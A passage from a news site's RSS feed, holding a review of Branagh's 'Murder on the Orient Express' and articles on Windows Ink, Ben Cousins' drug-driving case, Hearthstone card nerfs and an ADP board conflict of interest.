]]> https://briefnews.eu/chrome-cleans-up-messy-urls-when-you-share-from-your-phone/feed/ 0 Messy New ‘Murder on the Orient Express’ Adaptation is a Missed Opportunity https://briefnews.eu/messy-new-murder-on-the-orient-express-adaptation-is-a-missed-opportunity/ https://briefnews.eu/messy-new-murder-on-the-orient-express-adaptation-is-a-missed-opportunity/#respond Thu, 09 Nov 2017 14:54:09 +0000 http://briefnews.eu/messy-new-murder-on-the-orient-express-adaptation-is-a-missed-opportunity/ Murder on the Orient Express opens with Kenneth Branagh literally stepping in shit, a metaphor so apt for the 114 minutes that follows, it’s hard to believe the director/star isn’t straight-up trolling. Who else would so flagrantly tempt his critics? Perhaps the image is merely a challenge to himself, a visual wink that we’d have to resist citing, when faced with the brilliance of Sir Ken’s execution. Alas, it was not to be. His Murder is a slog, a museum piece full of pretty pictures and famous faces that never springs to life.

That’s a shame, because it’s a handsomely mounted production – the Express sparkles and shines, or at least its non-CGI version does – and a well-cast one too. Daisy Ridley, Leslie Odom Jr., Judi Dench, Penélope Cruz, Lucy Boynton, Willem Dafoe, Olivia Colman, Manuel Garcia-Rulfo, and Sergei Polunin all perform admirably, even when they’re given little to do (which is often). Michelle Pfieffer vamps it up, entertainingly. Josh Gad is broken and understated, qualities we don’t usually think of in his work, and the contrast is surprisingly affecting. And it’s fun to watch Branagh and his frequent collaborator Derek Jacobi batting a scene around, like old bandmates practicing their riffs.

But directorially speaking, Branagh doesn’t seem to know what to do with this ensemble. Their introductions are alternately clumsy and overblown; particularly unfortunate is the showy big reveal, from behind, of Johnny Depp, as if anyone is still excited to see Johnny Depp in a movie. The staging and cutting is punchy, sometimes (it turns out) to hide the story’s culprit(s), sometimes for no reason at all. And – surprisingly, for a director who cut his teeth on stage – the big group scenes are particularly poorly blocked, most notably the big explanation at the end, which Branagh inexplicably stages with his entire cast lined up behind a table, like they’re recreating da Vinci’s Last Supper or something.

However, Branagh’s always been a bit of a (likable) show-off with his camera, and a couple of his moves and compositions are real pips – particularly an early, extravagant tracking shot, alongside his Poirot as he boards the train and moves through it. He also indulges in a snazzy straight-down hallway shot at a key moment – but then keeps it going too long, and then trots it out again later (using it much more effectively the second time around).

His performance, as Agatha Christie’s genius detective Hercule Poirot, suffers from similar lack of moderation – and yet somehow still isn’t quite as commanding as you’d think. Part of the problem is his over-the-top accent, which sounds less like the Belgian detective and more like John Cleese’s “Taunting French Guard” in Monty Python and the Holy Grail (“Can’t you tell by my outrageous accent?”). He gets the scattered laugh, via his Fieldsian asides (“If it were easy, I would not be famous. NEXT!”) and theatrical proclamations (“My name is Hercule Poirot, and I am probably the greatest detective in the world!”).

The trouble is, this new Murder can’t decide if he’s a dazzling detective or (sigh) a complicated protagonist in the midst of a crisis of conscience. So he spends more than once scene gazing longingly at a photo of his dearly departed, as sad piano music plinks and he mutters “My Katherine… my beautiful…” Yet none of that squares with his portrayal of Poirot as a man who, as one unfortunate day player is forced to say out loud, can “see into their hearts and divine their true natures,” or who himself proclaims, “Crime answers to two masters: your God and Hercule Poirot!”

It’s not that I think he actually wants us to take that moment seriously – but by the picture’s conclusion, its mishmash of approaches is so shaky, it’s hard to be sure. There’s so much to like about the picture in theory: a sophisticated literary adaptation with a distinguished cast, geared toward grown-ups, only gently suggesting itself as a tentpole. But Branagh just can’t find a tone that works, veering unsteadily between high melodrama and unconvincing sincerity, a dual-track approach that derails by the time he arrives at his earnest final voice-over and speech. He ends up trying to make Murder on the Orient Express both more and less than it is. Just go rewatch the Lumet.

“Murder on the Orient Express” is out Friday.

                                                        

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]]> https://briefnews.eu/messy-new-murder-on-the-orient-express-adaptation-is-a-missed-opportunity/feed/ 0 How Microsoft embraced ‘messy’ creativity with Windows Ink https://briefnews.eu/how-microsoft-embraced-messy-creativity-with-windows-ink/ https://briefnews.eu/how-microsoft-embraced-messy-creativity-with-windows-ink/#respond Sat, 21 Oct 2017 14:09:00 +0000 http://briefnews.eu/how-microsoft-embraced-messy-creativity-with-windows-ink/

Windows Ink isn’t Microsoft’s first stab at bringing stylus support to PCs — that would be Windows XP Tablet Edition — but it is the company’s most successful. It made stylus support a core part of Windows 10, and it’s a big reason you’re seeing so many computer makers shipping digital pens of their own. While the company’s renewed push into the space with its hybrid Surface tablets seemed baffling at first, it’s ended up looking like a prescient move. It even convinced Apple to compete with the iPad Pro’s Pencil.

With the Surface Pen and Windows Ink, Microsoft found a way to let PC users do something completely new: It gave them a way to break free from the constraints of the keyboard and mouse.

“I think it’s [Windows Ink] the first time that technology has embraced ‘the messy,'” Aaron Woodman, general manager of Windows Marketing, told Engadget. “For me, seeing Pen come to life in a way where you don’t have to go from top to bottom, from left to right, you can create in a way before your thought is really complete. I don’t think there’s a ton of technology that’s really embraced that fluidity.”

He’s got a point. The way we interact with computers hasn’t changed much over the years. If you learned how to use a PC with a keyboard and mouse, you’d have no trouble using a modern machine. The advent of smartphones and tablets, with their capacitive touchscreens, was the biggest change over the past few decades. But what if you want to draw a detailed picture, jot down notes in your own handwriting or write out mathematical equations? You’d turn to one of our earliest writing tools: the stylus.

“We’re embracing that, yes, [stylus support features with Windows Ink] are hardware-driven; yes, they require a platform that has to be broad in reach; and yes, for part of that, you need ecosystem partners,” Woodman said. “That really starts to get people to understand it and see themselves using it in applications like Office. To see that come through in a way that customers don’t feel like they’re jumping over walls, I think it’s really satisfying personally.”

Devindra Hardawar/Engadget

In particular, Woodman credits Microsoft’s close partnership with Wacom, a company best known for its stylus tablets and displays, for the progress with Windows Ink so far. That allowed the two companies to build a sensor that “essentially allows you to go between pen protocols.” For computer makers, that’s helpful since it lets them choose between different pen protocols. Basically, it let Microsoft open up the market for styluses, just like Windows did for PCs decades ago.

Now, Woodman says retailers are selling twice as many pen-capable machines, compared to those that don’t have them. 43 percent of consumers with stylus machines are also using their pens monthly, according to Microsoft’s stats. Given just how well they’re taking off, though, it’s surprising that Microsoft chose to make the Surface Pen an additional $ 100 purchase for the Surface Laptop, Pro and upcoming Book 2.

Windows Ink’s integration with Microsoft Office is a clear example of how stylus support can breathe new life into programs we’ve used for years. In Word and PowerPoint, you can use a stylus to edit documents as if you were marking up paper. And, as you can imagine, having a more natural input mechanism is a big help for OneNote. It’s not only useful for jotting down your thoughts, but you can also use it for recording complex math equations — the sort of thing that would be tough to type out on a keyboard. OneNote can also convert your handwritten equation into something formatted for a computer, and you can then have it evaluate an equation, factor it and graph it.

It was a long road getting here, though. The first “Tablet PCs” powered by Windows XP (like the Compaq on the right) were woefully underpowered, heavy and generally just hard to use. It was difficult enough to get them to do basic Windows tasks, so there wasn’t much chance consumers would spend time with their styluses. There were also some early digital pens available for Windows 8. Really, though, it took the launch of the Surface 2 and Pro 2 for us to really see what a stylus could do in Windows. The Surface Pen was light, responsive and simply felt good to use. Microsoft steadily refined it with future Surface models, giving us better tips and more pressure sensitivity.

Even after the launch of Windows 10, it took over a year for Microsoft to make stylus support truly meaningful with last year’s Anniversary Update. That introduced Windows Ink and its accompanying software, including built-in sticky notes and a sketchpad. More importantly, it also gave Microsoft’s partners more of a reason to bundle styluses with their computers. Apple entered the fray with the iPad Pro’s Pencil in 2015, which is a decent stylus, but is only useful in a few creative apps. And you can forget about seeing it in MacOS anytime soon — Apple is focusing its touchscreen efforts entirely on iOS.

Embracing a new type of computing creativity seems a bit out of character for Microsoft — at least, the pre-Satya Nadella Microsoft. But the timing for the company’s change of heart makes sense. Thanks to faster and more efficient computing hardware, it’s finally turning its stylus ambitions into a reality. And more importantly, consumers and computer makers are finally paying attention.

“On some level, we have a responsibility to solve the challenges customers are facing,” Woodman said. “Now, watching 3D objects in Powerpoint [via the Fall Creator’s Update] is mind boggling. Not because you see it in 3D, but because it saves you infinite steps. I think Pen has the same type of promise. It’s more about just feeling like you have that permission to go beyond the boundaries of how people have defined the products so far.”

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]]> https://briefnews.eu/how-microsoft-embraced-messy-creativity-with-windows-ink/feed/ 0 Messy Cousins in courtroom lashing https://briefnews.eu/messy-cousins-in-courtroom-lashing/ https://briefnews.eu/messy-cousins-in-courtroom-lashing/#respond Wed, 20 Sep 2017 07:21:19 +0000 http://briefnews.eu/messy-cousins-in-courtroom-lashing/ A PERTH magistrate has told troubled former AFL star Ben Cousins he was lucky not to have killed or seriously injured someone when he smashed his car head-on into a truck while high on methamphetamine.

Cousins was in late March sentenced to one year behind bars for stalking and repeatedly breaching a violence restraining order taken out by his ex-partner and mother of his two children.

He spent three-and-a-half days in hospital after the November crash in High Wycombe and pleaded guilty in Perth Magistrates Court on Wednesday to driving under the influence of an illegal drug.

The former West Coast Eagles footballer would have been eligible for parole after serving six months but failed a drug test while in custody so cannot be released until he completes rehabilitation courses, which his lawyer, Michael Tudori, said had taken too long to start.

As a result, the 39-year-old would likely end up serving his full one-year sentence, Mr Tudori said.

The court heard Cousins had 0.75mg of methamphetamine per litre of blood in his system, which the police prosecutor said was well above the level where a driver could concentrate.

“It is lucky no one was killed,” the officer said.

The Brownlow medallist also had 0.07mg/l of amphetamine in his system.

Mr Tudori said the crash happened when Cousins had a heavy drug addiction and depression over not being able to see his children, with the restraining order being the trigger that sent him on a downward spiral.

“This offence is all part of the series of offences he’s imprisoned for,” the lawyer said.

He said there had been many positive changes in Cousins’ life for the first time in many years, including him acknowledging his drug addiction.

Mr Tudori told the court Cousins had “taken and embraced” a job offer from his old employer but would not elaborate when quizzed by reporters.

Cousins would live with his parents when he was released, the lawyer said. The magistrate agreed it was lucky no one was killed or seriously injured in the crash.

Magistrate Elaine Campione gave him credit for his early guilty plea but said his offending was a serious example of drug driving, thewest.com.au reported.

“(It is) only by the grace of God that someone wasn’t killed or seriously injured,’ she said.

She gave Cousins credit for his early guilty plea but said his drug-driving was serious and in a higher category than the other offences.

Cousins was fined $ 1200, ordered to pay $ 2295 in chemical analysis fees and had his driver’s licence disqualified for 12 months.

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]]> https://briefnews.eu/messy-cousins-in-courtroom-lashing/feed/ 0 Hearthstone’s big nerfs are live after a messy tournament https://briefnews.eu/hearthstones-big-nerfs-are-live-after-a-messy-tournament/ https://briefnews.eu/hearthstones-big-nerfs-are-live-after-a-messy-tournament/#respond Mon, 18 Sep 2017 19:33:15 +0000 http://briefnews.eu/hearthstones-big-nerfs-are-live-after-a-messy-tournament/

A little less than two weeks after announcing them, Hearthstone’s nerfs for powerful cards like Spreading Plague, Innervate, and Fiery War Axe are here. Why the wait? Well, Blizzard didn’t want to disrupt Hearthstone’s current meta before the 2017 HCT (Hearthstone Championship Tour) Americas Summer Playoffs, which took place this past weekend. Unfortunately, that competition had its own problems.

During the event, competitors had to deal with instances of disconnections and a laptop that froze (one that Blizzard provided) ending games prematurely. When that happens, you have to restart the game. So if you were winning, but your laptop froze and you then had to restart and lost the rematch, well … tough luck. That’s exactly what happened to Hearthstone pro Luker, who was competing at the event.

Luker wrote about the experience on Hearthstone’s Reddit page.

During the series, at 1-2, I was massively ahead as Warlock vs. Pirate Warrior. While the game was going on (at a near-impossible place to lose), the laptop Blizzard provided froze. As per the rules, a regame was called, and I lost. Assuming I won this game, my Priest was slightly favored vs Pirate Warrior and I could complete the reverse sweep.

Luker went on to explain that he isn’t upset, and that he believes Blizzard is aware of the issue.

I think the HCT circuit could use changing, but everyone is aware of that. We need a tournament mode, we need a better format (one where tie breakers aren’t considered or weighed as heavily), and we need better venues/equipment. There’s a lot we need, but I’m certain Blizzard is fully aware of this so I’m not worried.

The venue problem not be an issue for long, as Blizzard is opening its own place for tournaments in the old “Tonight Show” studio in Los Angeles. But Blizzard holds tournaments around the world. It won’t always be able to depend on its own venue.

Above: Meet the new Innervate.

Image Credit: Blizzard

Other games are able to save states during competitive play and restore them in case of a disconnection or other issue. Hearthstone can’t. Many competitors and fans are calling on Blizzard to implement features like this and a dedicated Tournament Mode. We asked Blizzard about what it plans to do for future events to avoid these problems and will update this story if we hear from them.

It’s a bit awkward that the anticipated nerfs were delayed for an event that had issues like this. A segment of the community accuses Blizzard of being too slow to implement changes to the digital card game, which results in Hearthstone becoming boring and stagnant with certain decks seeing too much play. Others, including the popular streamer Kripparian, thinks it doesn’t make sense to delay a patch that impacts every Hearthstone player for the sake of a tournament that only a fraction will watch or participate in.

Of course, Blizzard is dedicated to keeping Hearthstone’s competitive scene fair and successful. But Kripparian does raise an interesting question: Should that come at the expense of a majority of players, most of which don’t care about competitive Hearthstone?

At least the nerfs are finally live. Maybe Druid will begin fade. It could be the end of Pirate Warriors. This could be the age of Priest. But even if the meta stabilizes, Blizzard’s will have plenty of Hearthstone work ahead of it.

The PC Gaming channel is presented by Intel®‘s Game Dev program.





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]]> https://briefnews.eu/hearthstones-big-nerfs-are-live-after-a-messy-tournament/feed/ 0 An ADP director has a relationship with the activist trying to shake it up — and it shows how messy Wall Street really is https://briefnews.eu/an-adp-director-has-a-relationship-with-the-activist-trying-to-shake-it-up-and-it-shows-how-messy-wall-street-really-is/ https://briefnews.eu/an-adp-director-has-a-relationship-with-the-activist-trying-to-shake-it-up-and-it-shows-how-messy-wall-street-really-is/#respond Sun, 20 Aug 2017 12:16:21 +0000 http://briefnews.eu/an-adp-director-has-a-relationship-with-the-activist-trying-to-shake-it-up-and-it-shows-how-messy-wall-street-really-is/ Bill AckmanPershing Square, an activist hedge fund run by Bill Ackman, recently took a stake in ADP.
ADP’s board includes the dean of Columbia Business School, Glenn Hubbard.
Pershing Square has close ties to the school — it donates hundreds of thousands of dollars for an investment contest for Columbia students.
Pershing Square’s move to shake up ADP’s board creates a conflict for the dean, though experts say it’s easy to fix.

The human resources and payroll company ADP is under attack from an activist investor who wants to add new directors to its board as he seeks to shake up the company.

ADP says it’ll consider the nominees, but for one of ADP’s current directors, that could become a problem.

The activist who is after ADP is Pershing Square, the hedge fund run by the billionaire Bill Ackman. The director in question is R. Glenn Hubbard, the dean of Columbia Business School — an organization to which Ackman’s fund donates.

It’s a classic conflict of interest, and it highlights the small world that many Wall Streeters and business-school folks inhabit. Experts on corporate governance say there’s also a classic resolution: Hubbard should recuse himself from board decisions that involve Ackman’s fund.

It’s unclear what Hubbard plans to do. He didn’t respond to emails and voice messages seeking comment, and ADP declined to comment.

In a statement, Columbia told Business Insider that the “Business School is grateful to Pershing for its longtime support” and declined to comment further. Pershing Square declined to comment.

A testy back-and-forth

Earlier this month, Pershing Square disclosed an 8% stake in ADP, sparking a testy back-and-forth between the activist fund and the company that handles many Americans’ paychecks.

In an interview with CNBC last week, ADP CEO Carlos Rodriguez compared Ackman’s request to extend the deadline for nominating board members to “a spoiled brat in school asking the teacher for an extension for their homework.” Pershing Square has said Rodriguez “unfairly characterized” their interactions to make the fund’s efforts “appear unreasonable.” On Thursday, Ackman said in a conference call that ADP had underperformed its competitors and that the stock could double in five years.

Pershing Square is seeking three board seats, including one for Ackman. ADP has said its nominating and corporate governance committee will evaluate Ackman’s nominees “as they would any other potential directors.”

That’s where Hubbard’s conflict comes in. As chair of the committee, Hubbard helps determine the slate of board nominees and identify and recommend candidates, according to the company’s charter.

Hubbard’s résumé includes board positions at the financial firms KKR, BlackRock, and MetLife, and he’s been on ADP’s board since 2004. His ties to Wall Street go back further than that, and in the wake of the 2008 financial crisis, he was criticized for publishing research that endorsed the financial instruments that helped cause it and for his ties to financial firms. Hubbard told The Wall Street Journal in 2011 that Columbia had beefed up its disclosure requirements for faculty.

Pershing Square Challenge

Pershing Square has close ties to Columbia Business School. Since 2008, Ackman has hosted an investment competition, called the Pershing Square Challenge, in which Columbia students compete for hundreds of thousands of dollars.

Last year, students won $ 150,000, donated by Pershing Square, which they could choose to keep or donate. In previous years, the money had to be directed toward the school, according to a Columbia press release, in which Hubbard expressed his thanks to “Bill for creating this challenge.”

Ackman has also been a keynote speaker at Columbia Business School events and has been interviewed in the school’s student publications about his approach to investing.

The ties put Hubbard in a position that should be disclosed to the rest of the board and to investors, said Martijn Cremers, a professor of finance at the University of Notre Dame.

“It would be better if investors learn about such relationships from the board/firm rather than the media,” he said.

Glenn HubbardReutersHubbard shouldn’t vote on any business decision between ADP and Pershing Square, said Simone Sepe, a professor of law and finance at the University of Arizona.

Sepe said the problem was Hubbard’s relationship with Pershing Square as the school’s dean, “which jeopardizes his independence,” adding, “This is a very basic case.”

Conflicts of interests like the one between Hubbard and ADP are subtle, according to Sepe.

“One of the measures to assess the success of a dean of a business school is the amount of donations a dean is able to obtain,” Sepe said. “Because the hedge fund is contributing to the business school, that’s a subtle form of conflict of interest, and the market should be aware of that.”

Situations involving conflicts like this are not unexpected, not least for a dean of a prominent business school, according to Charles Elson, the director of the John L. Weinberg Center for Corporate Governance at the University of Delaware.

“It puts him in a funny position,” Elson told Business Insider. “It doesn’t happen that infrequently. The finance community is not a big world … The busier the street you happen to live on, the more likely you’ll have a conflict with folks that you’re connected with.

Elson, who has researched the subject of board behavior with Hubbard, said, “Glenn headed the study group on board conduct, and he has tremendous knowledge in this area.”

There have been other board-governance conflicts in the past.

In the mid-2000s, a campaign involving the activist Carl Icahn and Time Warner led to questions about a board member’s fealty. Time Warner’s board included Bob Clark, a former dean of Harvard Law School who also served on the board of Lazard, which was advising Icahn.

And in the early 2000s, a judge found that a litigation committee that Oracle had set up to investigate its CEO and other staffers was rife with conflicts. The committee was staffed by Stanford professors, and the CEO had previously donated millions to the university, according to a 2003 Wall Street Journal report that chronicled the case.

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]]> https://briefnews.eu/an-adp-director-has-a-relationship-with-the-activist-trying-to-shake-it-up-and-it-shows-how-messy-wall-street-really-is/feed/ 0 New Media and the Messy Nature of Reporting on the Alt-Right https://briefnews.eu/new-media-and-the-messy-nature-of-reporting-on-the-alt-right/ https://briefnews.eu/new-media-and-the-messy-nature-of-reporting-on-the-alt-right/#respond Wed, 16 Aug 2017 05:32:23 +0000 http://briefnews.eu/new-media-and-the-messy-nature-of-reporting-on-the-alt-right/ The press is grappling with a conundrum: how much coverage of the so-called alt-right is too much coverage?


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